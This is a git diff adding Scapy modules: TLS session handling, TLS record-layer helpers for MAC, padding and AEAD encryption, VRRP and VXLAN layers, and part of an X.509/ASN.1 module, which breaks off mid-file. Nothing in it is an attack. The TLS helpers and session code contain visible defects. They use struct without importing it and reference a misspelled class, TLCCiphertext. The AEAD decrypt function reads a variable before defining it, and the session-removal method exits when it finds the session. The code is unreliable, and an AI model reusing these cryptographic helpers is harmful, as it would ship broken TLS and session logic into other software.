+        For performance, the pending connStates are not snapshotted.
+        This should not be an issue, but maybe pay attention to this.
+
+        The previous_freeze_state prevents issues with calling a raw() calling
+        in turn another raw(), which would unfreeze the session too soon.
+        """
+        s = self.tls_session
+        rcs_snap = s.rcs.snapshot()
+        wcs_snap = s.wcs.snapshot()
+        rpc_snap = self.raw_packet_cache
+
+        s.wcs = self.rcs_snap_init
+
+        self.raw_packet_cache = None
+        previous_freeze_state = s.frozen
+        s.frozen = True
+        built_packet = super(_GenericTLSSessionInheritance, self).__bytes__()
+        s.frozen = previous_freeze_state
+
+        s.rcs = rcs_snap
+        s.wcs = wcs_snap
+        self.raw_packet_cache = rpc_snap
+
+        return built_packet
+    __str__ = __bytes__
+
+    def show2(self):
+        """
+        Rebuild the TLS packet with the same context, and then .show() it.
+        We need self.__class__ to call the subclass in a dynamic way.
+
+        Howether we do not want the tls_session.{r,w}cs.seq_num to be updated.
+        We have to bring back the init states (it's possible the cipher context
+        has been updated because of parsing) but also to keep the current state
+        and restore it afterwards (the raw() call may also update the states).
+        """
+        s = self.tls_session
+        rcs_snap = s.rcs.snapshot()
+        wcs_snap = s.wcs.snapshot()
+
+        s.rcs = self.rcs_snap_init
+
+        built_packet = raw(self)
+        s.frozen = True
+        self.__class__(built_packet, tls_session=s).show()
+        s.frozen = False
+
+        s.rcs = rcs_snap
+        s.wcs = wcs_snap
+
+    # Uncomment this when the automata update IPs and ports properly
+    #def mysummary(self):
+    #    return "TLS %s" % repr(self.tls_session)
+
+
+###############################################################################
+### Multiple TLS sessions                                                   ###
+###############################################################################
+
+class _tls_sessions(object):
+    def __init__(self):
+        self.sessions = {}
+
+    def add(self, session):
+        s = self.find(session)
+        if s:
+            log_runtime.info("TLS: previous session shall not be overwritten")
+            return
+
+        h = session.hash()
+        if h in self.sessions:
+            self.sessions[h].append(session)
+        else:
+            self.sessions[h] = [session]
+
+    def rem(self, session):
+        s = self.find(session)
+        if s:
+            log_runtime.info("TLS: previous session shall not be overwritten")
+            return
+
+        h = session.hash()
+        self.sessions[h].remove(session)
+
+    def find(self, session):
+        h = session.hash()
+        if h in self.sessions:
+            for k in self.sessions[h]:
+                if k.eq(session):
+                    if conf.tls_verbose:
+                        log_runtime.info("TLS: found session matching %s", k)
+                    return k
+        if conf.tls_verbose:
+            log_runtime.info("TLS: did not find session matching %s", session)
+        return None
+
+    def __repr__(self):
+        res = [("First endpoint", "Second endpoint", "Session ID")]
+        for l in self.sessions.values():
+            for s in l:
+                src = "%s[%d]" % (s.ipsrc, s.sport)
+                dst = "%s[%d]" % (s.ipdst, s.dport)
+                sid = repr(s.sid)
+                if len(sid) > 12:
+                    sid = sid[:11] + "..."
+                res.append((src, dst, sid))
+        colwidth = (max([len(y) for y in x]) for x in zip(*res))
+        fmt = "  ".join(map(lambda x: "%%-%ds"%x, colwidth))
+        return "\n".join(map(lambda x: fmt % x, res))
+
+
+conf.tls_sessions = _tls_sessions()
+conf.tls_verbose = False
+
diff --git a/scapy/layers/tls/tools.py b/scapy/layers/tls/tools.py
new file mode 100644
index 0000000..716681f
--- /dev/null
+++ b/scapy/layers/tls/tools.py
@@ -0,0 +1,211 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS helpers, provided as out-of-context methods.
+"""
+
+from scapy.error import warning
+from scapy.fields import (ByteEnumField, ShortEnumField,
+                          FieldLenField, StrLenField)
+from scapy.packet import Packet
+
+from scapy.layers.tls.basefields import _tls_type, _tls_version
+
+
+class TLSPlaintext(Packet):
+    name = "TLS Plaintext"
+    fields_desc = [ ByteEnumField("type", None, _tls_type),
+                    ShortEnumField("version", None, _tls_version),
+                    FieldLenField("len", None, length_of="fragment",
+                                  fmt="!H"),
+                    StrLenField("fragment", "",
+                                length_from = lambda pkt: pkt.length) ]
+
+class TLSCompressed(TLSPlaintext):
+    name = "TLS Compressed"
+
+class TLSCiphertext(TLSPlaintext):
+    name = "TLS Ciphertext"
+
+
+def _tls_compress(alg, p):
+    """
+    Compress p (a TLSPlaintext instance) using compression algorithm instance
+    alg and return a TLSCompressed instance.
+    """
+    c = TLSCompressed()
+    c.type = p.type
+    c.version = p.version
+    c.fragment = alg.compress(p.fragment)
+    c.len = len(c.fragment)
+    return c
+
+def _tls_decompress(alg, c):
+    """
+    Decompress c (a TLSCompressed instance) using compression algorithm
+    instance alg and return a TLSPlaintext instance.
+    """
+    p = TLSPlaintext()
+    p.type = c.type
+    p.version = c.version
+    p.fragment = alg.decompress(c.fragment)
+    p.len = len(p.fragment)
+    return p
+
+def _tls_mac_add(alg, c, write_seq_num):
+    """
+    Compute the MAC using provided MAC alg instance over TLSCiphertext c using
+    current write sequence number write_seq_num. Computed MAC is then appended
+    to c.fragment and c.length is updated to reflect that change. It is the
+    caller responsability to increment the sequence number after the operation.
+    The function has no return value.
+    """
+    write_seq_num = struct.pack("!Q", write_seq_num)
+    h = alg.digest(write_seq_num + str(c))
+    c.fragment += h
+    c.len += alg.hash_len
+
+def _tls_mac_verify(alg, p, read_seq_num):
+    """
+    Verify if the MAC in provided message (message resulting from decryption
+    and padding removal) is valid. Current read sequence number is used in
+    the verification process.
+
+    If the MAC is valid:
+     - The function returns True
+     - The packet p is updated in the following way: trailing MAC value is
+       removed from p.fragment and length is updated accordingly.
+
+    In case of error, False is returned, and p may have been modified.
+
+    Also note that it is the caller's responsibility to update the read
+    sequence number after the operation.
+    """
+    h_size = alg.hash_len
+    if p.len < h_size:
+        return False
+    received_h = p.fragment[-h_size:]
+    p.len -= h_size
+    p.fragment = p.fragment[:-h_size]
+
+    read_seq_num = struct.pack("!Q", read_seq_num)
+    h = alg.digest(read_seq_num + str(p))
+    return h == received_h
+
+def _tls_add_pad(p, block_size):
+    """
+    Provided with cipher block size parameter and current TLSCompressed packet
+    p (after MAC addition), the function adds required, deterministic padding
+    to p.fragment before encryption step, as it is defined for TLS (i.e. not
+    SSL and its allowed random padding). The function has no return value.
+    """
+    padlen = block_size - ((p.len + 1) % block_size)
+    if padlen == block_size:
+        padlen =  0
+    padding = chr(padlen) * (padlen + 1)
+    p.len += len(padding)
+    p.fragment += padding
+
+def _tls_del_pad(p):
+    """
+    Provided with a just decrypted TLSCiphertext (now a TLSPlaintext instance)
+    p, the function removes the trailing padding found in p.fragment. It also
+    performs some sanity checks on the padding (length, content, ...). False
+    is returned if one of the check fails. Otherwise, True is returned,
+    indicating that p.fragment and p.len have been updated.
+    """
+
+    if p.len < 1:
+        warning("Message format is invalid (padding)")
+        return False
+
+    padlen = ord(p.fragment[-1]) + 1
+    if (p.len < padlen):
+        warning("Invalid padding length")
+        return False
+
+    if (p.fragment[-padlen:] != p.fragment[-1] * padlen):
+        warning("Padding content is invalid %s", repr(p.fragment[-padlen:]))
+        return False
+
+    p.fragment = p.fragment[:-padlen]
+    p.len -= padlen
+
+    return True
+
+def _tls_encrypt(alg, p):
+    """
+    Provided with an already MACed TLSCompressed packet, and a stream or block
+    cipher alg, the function converts it into a TLSCiphertext (i.e. encrypts it
+    and updates length). The function returns a newly created TLSCiphertext
+    instance.
+    """
+    c = TLSCiphertext()
+    c.type = p.type
+    c.version = p.version
+    c.fragment = alg.encrypt(p.fragment)
+    c.len = len(c.fragment)
+    return c
+
+def _tls_decrypt(alg, c):
+    """
+    Provided with a TLSCiphertext instance c, and a stream or block cipher alg,
+    the function decrypts c.fragment and returns a newly created TLSPlaintext.
+    """
+    p = TLSPlaintext()
+    p.type = c.type
+    p.version = c.version
+    p.fragment = alg.decrypt(c.fragment)
+    p.len = len(p.fragment)
+    return p
+
+def _tls_aead_auth_encrypt(alg, p, write_seq_num):
+    """
+    Provided with a TLSCompressed instance p, the function applies AEAD
+    cipher alg to p.fragment and builds a new TLSCiphertext instance. Unlike
+    for block and stream ciphers, for which the authentication step is done
+    separately, AEAD alg does it simultaneously: this is the reason why
+    write_seq_num is passed to the function, to be incorporated in
+    authenticated data. Note that it is the caller's responsibility to increment
+    write_seq_num afterwards.
+    """
+    P = str(p)
+    write_seq_num = struct.pack("!Q", write_seq_num)
+    A = write_seq_num + P[:5]
+
+    c = TLCCiphertext()
+    c.type = p.type
+    c.version = p.version
+    c.fragment = alg.auth_encrypt(P, A)
+    c.len = len(c.fragment)
+    return c
+
+def _tls_aead_auth_decrypt(alg, c, read_seq_num):
+    """
+    Provided with a TLSCiphertext instance c, the function applies AEAD
+    cipher alg auth_decrypt function to c.fragment (and additional data)
+    in order to authenticate the data and decrypt c.fragment. When those
+    steps succeed, the result is a newly created TLSCompressed instance.
+    On error, None is returned. Note that it is the caller's responsibility to
+    increment read_seq_num afterwards.
+    """
+    # 'Deduce' TLSCompressed length from TLSCiphertext length
+    # There is actually no guaranty of this equality, but this is defined as
+    # such in TLS 1.2 specifications, and it works for GCM and CCM at least.
+    l = p.len - alg.nonce_explicit_len - alg.tag_len
+    read_seq_num = struct.pack("!Q", read_seq_num)
+    A = read_seq_num + struct.pack('!BHH', p.type, p.version, l)
+
+    p = TLSCompressed()
+    p.type = c.type
+    p.version = c.version
+    p.len = l
+    p.fragment = alg.auth_decrypt(A, c.fragment)
+
+    if p.fragment is None: # Verification failed.
+        return None
+    return p
+
diff --git a/scapy/layers/vrrp.py b/scapy/layers/vrrp.py
new file mode 100644
index 0000000..8c9027c
--- /dev/null
+++ b/scapy/layers/vrrp.py
@@ -0,0 +1,89 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Copyright (C) 6WIND <olivier.matz@6wind.com>
+## This program is published under a GPLv2 license
+
+"""
+VRRP (Virtual Router Redundancy Protocol).
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.compat import *
+from scapy.layers.inet import *
+from scapy.layers.inet6 import *
+from scapy.error import warning
+
+IPPROTO_VRRP=112
+
+# RFC 3768 - Virtual Router Redundancy Protocol (VRRP)
+class VRRP(Packet):
+    fields_desc = [
+        BitField("version", 2, 4),
+        BitField("type", 1, 4),
+        ByteField("vrid", 1),
+        ByteField("priority", 100),
+        FieldLenField("ipcount", None, count_of="addrlist", fmt="B"),
+        ByteField("authtype", 0),
+        ByteField("adv", 1),
+        XShortField("chksum", None),
+        FieldListField("addrlist", [], IPField("", "0.0.0.0"),
+                       count_from = lambda pkt: pkt.ipcount),
+        IntField("auth1", 0),
+        IntField("auth2", 0) ]
+
+    def post_build(self, p, pay):
+        if self.chksum is None:
+            ck = checksum(p)
+            p = p[:6]+chb(ck>>8)+chb(ck&0xff)+p[8:]
+        return p
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 9:
+            ver_n_type = orb(_pkt[0])
+            if ver_n_type >= 48 and ver_n_type <= 57: # Version == 3
+                return VRRPv3
+        return VRRP
+
+
+# RFC 5798 -  Virtual Router Redundancy Protocol (VRRP) Version 3
+class VRRPv3(Packet):
+    fields_desc = [
+        BitField("version", 3, 4),
+        BitField("type", 1, 4),
+        ByteField("vrid", 1),
+        ByteField("priority", 100),
+        FieldLenField("ipcount", None, count_of="addrlist", fmt="B"),
+        BitField("res", 0, 4),
+        BitField("adv", 100, 12),
+        XShortField("chksum", None),
+        # FIXME: addrlist should also allow IPv6 addresses :/
+        FieldListField("addrlist", [], IPField("", "0.0.0.0"),
+                       count_from = lambda pkt: pkt.ipcount)]
+
+    def post_build(self, p, pay):
+        if self.chksum is None:
+            if isinstance(self.underlayer, IP):
+                ck = in4_chksum(112, self.underlayer, p)
+            elif isinstance(self.underlayer, IPv6):
+                ck = in6_chksum(112, self.underlayer, p)
+            else:
+                warning("No IP(v6) layer to compute checksum on VRRP. Leaving null")
+                ck = 0
+            p = p[:6]+chb(ck>>8)+chb(ck&0xff)+p[8:]
+        return p
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 16:
+            ver_n_type = orb(_pkt[0])
+            if ver_n_type < 48 or ver_n_type > 57: # Version != 3
+                return VRRP
+        return VRRPv3
+
+# IPv6 is supported only on VRRPv3
+bind_layers( IP,            VRRP,          proto=IPPROTO_VRRP)
+bind_layers( IP,            VRRPv3,        proto=IPPROTO_VRRP)
+bind_layers( IPv6,          VRRPv3,        nh=IPPROTO_VRRP)
diff --git a/scapy/layers/vxlan.py b/scapy/layers/vxlan.py
new file mode 100644
index 0000000..378c13a
--- /dev/null
+++ b/scapy/layers/vxlan.py
@@ -0,0 +1,84 @@
+#! /usr/bin/env python
+# RFC 7348 - Virtual eXtensible Local Area Network (VXLAN):
+# A Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks
+# http://tools.ietf.org/html/rfc7348
+# https://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt
+#
+# VXLAN Group Policy Option:
+# http://tools.ietf.org/html/draft-smith-vxlan-group-policy-00
+
+from scapy.packet import Packet, bind_layers
+from scapy.layers.l2 import Ether
+from scapy.layers.inet import IP, UDP
+from scapy.layers.inet6 import IPv6
+from scapy.fields import FlagsField, XByteField, ThreeBytesField, \
+    ConditionalField, ShortField, ByteEnumField, X3BytesField
+
+_GP_FLAGS = ["R", "R", "R", "A", "R", "R", "D", "R"]
+
+
+class VXLAN(Packet):
+    name = "VXLAN"
+
+    fields_desc = [
+        FlagsField("flags", 0x8, 8,
+                   ['OAM', 'R', 'NextProtocol', 'Instance',
+                    'V1', 'V2', 'R', 'G']),
+        ConditionalField(
+            ShortField("reserved0", 0),
+            lambda pkt: pkt.flags.NextProtocol,
+        ),
+        ConditionalField(
+            ByteEnumField('NextProtocol', 0,
+                          {0: 'NotDefined',
+                           1: 'IPv4',
+                           2: 'IPv6',
+                           3: 'Ethernet',
+                           4: 'NSH'}),
+            lambda pkt: pkt.flags.NextProtocol,
+        ),
+        ConditionalField(
+            ThreeBytesField("reserved1", 0),
+            lambda pkt: (not pkt.flags.G) and (not pkt.flags.NextProtocol),
+        ),
+        ConditionalField(
+            FlagsField("gpflags", 0, 8, _GP_FLAGS),
+            lambda pkt: pkt.flags.G,
+        ),
+        ConditionalField(
+            ShortField("gpid", 0),
+            lambda pkt: pkt.flags.G,
+        ),
+        X3BytesField("vni", 0),
+        XByteField("reserved2", 0),
+    ]
+
+    # Use default linux implementation port
+    overload_fields = {
+        UDP: {'dport': 8472},
+    }
+
+    def mysummary(self):
+        if self.flags.G:
+            return self.sprintf("VXLAN (vni=%VXLAN.vni% gpid=%VXLAN.gpid%)")
+        else:
+            return self.sprintf("VXLAN (vni=%VXLAN.vni%)")
+
+bind_layers(UDP, VXLAN, dport=4789)  # RFC standard vxlan port
+bind_layers(UDP, VXLAN, dport=4790)  # RFC standard vxlan-gpe port
+bind_layers(UDP, VXLAN, dport=6633)  # New IANA assigned port for use with NSH
+bind_layers(UDP, VXLAN, dport=8472)  # Linux implementation port
+bind_layers(UDP, VXLAN, sport=4789)
+bind_layers(UDP, VXLAN, sport=4790)
+bind_layers(UDP, VXLAN, sport=6633)
+bind_layers(UDP, VXLAN, sport=8472)
+# By default, set both ports to the RFC standard
+bind_layers(UDP, VXLAN, sport=4789, dport=4789)
+
+bind_layers(VXLAN, Ether)
+bind_layers(VXLAN, IP, NextProtocol=1)
+bind_layers(VXLAN, IPv6, NextProtocol=2)
+bind_layers(VXLAN, Ether, flags=4, NextProtocol=0)
+bind_layers(VXLAN, IP, flags=4, NextProtocol=1)
+bind_layers(VXLAN, IPv6, flags=4, NextProtocol=2)
+bind_layers(VXLAN, Ether, flags=4, NextProtocol=3)
diff --git a/scapy/layers/x509.py b/scapy/layers/x509.py
new file mode 100644
index 0000000..a50151c
--- /dev/null
+++ b/scapy/layers/x509.py
@@ -0,0 +1,1229 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Enhanced by Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+X.509 certificates.
+"""
+
+from scapy.asn1.asn1 import *
+from scapy.asn1.ber import *
+from scapy.asn1packet import *
+from scapy.asn1fields import *
+from scapy.packet import Packet
+from scapy.fields import PacketField
+from scapy.volatile import *
+
+
+class ASN1P_OID(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_OID("oid", "0")
+
+class ASN1P_INTEGER(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_INTEGER("number", 0)
+
+class ASN1P_PRIVSEQ(ASN1_Packet):
+    # This class gets used in x509.uts
+    # It showcases the private high-tag decoding capacities of scapy.
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_IA5_STRING("str", ""),
+                    ASN1F_STRING("int", 0),
+                    explicit_tag=0,
+                    flexible_tag=True)
+
+
+#######################
+##### RSA packets #####
+#######################
+##### based on RFC 3447
+
+# It could be interesting to use os.urandom and try to generate
+# a new modulus each time RSAPublicKey is called with default values.
+# (We might have to dig into scapy field initialization mechanisms...)
+# NEVER rely on the key below, which is provided only for debugging purposes.
+class RSAPublicKey(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_INTEGER("modulus", 10),
+                    ASN1F_INTEGER("publicExponent", 3))
+
+class RSAOtherPrimeInfo(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_INTEGER("prime", 0),
+                    ASN1F_INTEGER("exponent", 0),
+                    ASN1F_INTEGER("coefficient", 0))
+
+class RSAPrivateKey(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_enum_INTEGER("version", 0, ["two-prime", "multi"]),
+                    ASN1F_INTEGER("modulus", 10),
+                    ASN1F_INTEGER("publicExponent", 3),
+                    ASN1F_INTEGER("privateExponent", 3),
+                    ASN1F_INTEGER("prime1", 2),
+                    ASN1F_INTEGER("prime2", 5),
+                    ASN1F_INTEGER("exponent1", 0),
+                    ASN1F_INTEGER("exponent2", 3),
+                    ASN1F_INTEGER("coefficient", 1),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("otherPrimeInfos", None,
+                                          RSAOtherPrimeInfo)))
+
+####################################
+########## ECDSA packets ###########
+####################################
+#### based on RFC 3279 & 5480 & 5915
+
+class ECFieldID(ASN1_Packet):
+# No characteristic-two-field support for now.
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("fieldType", "prime-field"),
+                    ASN1F_INTEGER("prime", 0))
+
+class ECCurve(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_STRING("a", ""),
+                    ASN1F_STRING("b", ""),
+                    ASN1F_optional(
+                        ASN1F_BIT_STRING("seed", None)))
+
+class ECSpecifiedDomain(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_enum_INTEGER("version", 1, {1: "ecpVer1"}),
+                    ASN1F_PACKET("fieldID", ECFieldID(), ECFieldID),
+                    ASN1F_PACKET("curve", ECCurve(), ECCurve),
+                    ASN1F_STRING("base", ""),
+                    ASN1F_INTEGER("order", 0),
+                    ASN1F_optional(
+                        ASN1F_INTEGER("cofactor", None)))
+
+class ECParameters(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("curve", ASN1_OID("ansip384r1"),
+                    ASN1F_OID,      # for named curves
+                    ASN1F_NULL,     # for implicit curves
+                    ECSpecifiedDomain)
+
+class ECDSAPublicKey(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_BIT_STRING("ecPoint", "")
+
+class ECDSAPrivateKey(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_enum_INTEGER("version", 1, {1: "ecPrivkeyVer1"}),
+                    ASN1F_STRING("privateKey", ""),
+                    ASN1F_optional(
+                        ASN1F_PACKET("parameters", None, ECParameters,
+                                     explicit_tag=0xa0)),
+                    ASN1F_optional(
+                        ASN1F_PACKET("publicKey", None,
+                                     ECDSAPublicKey,
+                                     explicit_tag=0xa1)))
+
+class ECDSASignature(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_INTEGER("r", 0),
+                    ASN1F_INTEGER("s", 0))
+
+
+######################
+#### X509 packets ####
+######################
+#### based on RFC 5280
+
+
+####### Names #######
+
+class ASN1F_X509_DirectoryString(ASN1F_CHOICE):
+# we include ASN1 bit strings for rare instances of x500 addresses
+    def __init__(self, name, default, **kwargs):
+        ASN1F_CHOICE.__init__(self, name, default,
+                              ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING,
+                              ASN1F_IA5_STRING, ASN1F_T61_STRING,
+                              ASN1F_UNIVERSAL_STRING, ASN1F_BIT_STRING,
+                              **kwargs)
+
+class X509_AttributeValue(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("value", ASN1_PRINTABLE_STRING("FR"),
+                             ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING,
+                             ASN1F_IA5_STRING, ASN1F_T61_STRING,
+                             ASN1F_UNIVERSAL_STRING)
+
+class X509_Attribute(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("type", "2.5.4.6"),
+                    ASN1F_SET_OF("values",
+                                 [X509_AttributeValue()],
+                                 X509_AttributeValue))
+
+class X509_AttributeTypeAndValue(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root =  ASN1F_SEQUENCE(
+                     ASN1F_OID("type", "2.5.4.6"),
+                     ASN1F_X509_DirectoryString("value",
+                         ASN1_PRINTABLE_STRING("FR")))
+
+class X509_RDN(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SET_OF("rdn", [X509_AttributeTypeAndValue()],
+                             X509_AttributeTypeAndValue)
+
+class X509_OtherName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("type_id", "0"),
+                    ASN1F_CHOICE("value", None,
+                        ASN1F_IA5_STRING, ASN1F_ISO646_STRING,
+                        ASN1F_BMP_STRING, ASN1F_UTF8_STRING,
+                        explicit_tag=0xa0))
+
+class X509_RFC822Name(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_IA5_STRING("rfc822Name", "")
+
+class X509_DNSName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_IA5_STRING("dNSName", "")
+
+#XXX write me
+class X509_X400Address(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_field("x400Address", "")
+
+_default_directoryName = [
+        X509_RDN(),
+        X509_RDN(
+            rdn=[X509_AttributeTypeAndValue(
+                 type="2.5.4.10",
+                 value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]),
+        X509_RDN(
+            rdn=[X509_AttributeTypeAndValue(
+                 type="2.5.4.3",
+                 value=ASN1_PRINTABLE_STRING("Scapy Default Name"))])
+            ]
+
+class X509_DirectoryName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("directoryName", _default_directoryName,
+                    X509_RDN)
+
+class X509_EDIPartyName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_X509_DirectoryString("nameAssigner", None,
+                                                   explicit_tag=0xa0)),
+                    ASN1F_X509_DirectoryString("partyName", None,
+                                               explicit_tag=0xa1))
+
+class X509_URI(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_IA5_STRING("uniformResourceIdentifier", "")
+
+class X509_IPAddress(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_STRING("iPAddress", "")
+
+class X509_RegisteredID(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_OID("registeredID", "")
+
+class X509_GeneralName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("generalName", X509_DirectoryName(),
+                    ASN1F_PACKET("otherName", None, X509_OtherName,
+                                 implicit_tag=0xa0),
+                    ASN1F_PACKET("rfc822Name", None, X509_RFC822Name,
+                                 implicit_tag=0x81),
+                    ASN1F_PACKET("dNSName", None, X509_DNSName,
+                                 implicit_tag=0x82),
+                    ASN1F_PACKET("x400Address", None, X509_X400Address,
+                                 explicit_tag=0xa3),
+                    ASN1F_PACKET("directoryName", None, X509_DirectoryName,
+                                 explicit_tag=0xa4),
+                    ASN1F_PACKET("ediPartyName", None, X509_EDIPartyName,
+                                 explicit_tag=0xa5),
+                    ASN1F_PACKET("uniformResourceIdentifier", None, X509_URI,
+                                 implicit_tag=0x86),
+                    ASN1F_PACKET("ipAddress", None, X509_IPAddress,
+                                 implicit_tag=0x87),
+                    ASN1F_PACKET("registeredID", None, X509_RegisteredID,
+                                 implicit_tag=0x88))
+
+
+####### Extensions #######
+
+class X509_ExtAuthorityKeyIdentifier(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_STRING("keyIdentifier", b"\xff"*20,
+                                     implicit_tag=0x80)),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("authorityCertIssuer", None,
+                                          X509_GeneralName,
+                                          implicit_tag=0xa1)),
+                    ASN1F_optional(
+                        ASN1F_INTEGER("authorityCertSerialNumber", None,
+                                      implicit_tag=0x82)))
+
+class X509_ExtSubjectDirectoryAttributes(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("subjectDirectoryAttributes",
+                                  [X509_Attribute()],
+                                  X509_Attribute)
+
+class X509_ExtSubjectKeyIdentifier(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_STRING("keyIdentifier", "xff"*20)
+
+class X509_ExtFullName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("fullName", [X509_GeneralName()],
+                                  X509_GeneralName, implicit_tag=0xa0)
+
+class X509_ExtNameRelativeToCRLIssuer(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_PACKET("nameRelativeToCRLIssuer", X509_RDN(), X509_RDN,
+                             implicit_tag=0xa1)
+
+class X509_ExtDistributionPointName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("distributionPointName", None,
+                    X509_ExtFullName, X509_ExtNameRelativeToCRLIssuer)
+
+_reasons_mapping = ["unused",
+                   "keyCompromise",
+                   "cACompromise",
+                   "affiliationChanged",
+                   "superseded",
+                   "cessationOfOperation",
+                   "certificateHold",
+                   "privilegeWithdrawn",
+                   "aACompromise"]
+
+class X509_ExtDistributionPoint(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_PACKET("distributionPoint",
+                                     X509_ExtDistributionPointName(),
+                                     X509_ExtDistributionPointName,
+                                     explicit_tag=0xa0)),
+                    ASN1F_optional(
+                        ASN1F_FLAGS("reasons", None, _reasons_mapping,
+                                    implicit_tag=0x81)),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("cRLIssuer", None,
+                                          X509_GeneralName,
+                                          implicit_tag=0xa2)))
+
+_ku_mapping = ["digitalSignature",
+              "nonRepudiation",
+              "keyEncipherment",
+              "dataEncipherment",
+              "keyAgreement",
+              "keyCertSign",
+              "cRLSign",
+              "encipherOnly",
+              "decipherOnly"]
+
+class X509_ExtKeyUsage(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_FLAGS("keyUsage", "101", _ku_mapping)
+    def get_keyUsage(self):
+        return self.ASN1_root.get_flags(self)
+
+class X509_ExtPrivateKeyUsagePeriod(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_GENERALIZED_TIME("notBefore",
+                                               str(GeneralizedTime(-600)),
+                                               implicit_tag=0x80)),
+                    ASN1F_optional(
+                        ASN1F_GENERALIZED_TIME("notAfter",
+                                               str(GeneralizedTime(+86400)),
+                                               implicit_tag=0x81)))
+
+class X509_PolicyMapping(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("issuerDomainPolicy", None),
+                    ASN1F_OID("subjectDomainPolicy", None))
+
+class X509_ExtPolicyMappings(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("policyMappings", [], X509_PolicyMapping)
+
+class X509_ExtBasicConstraints(ASN1_Packet):
+# The cA field should not be optional, but some certs omit it for False.
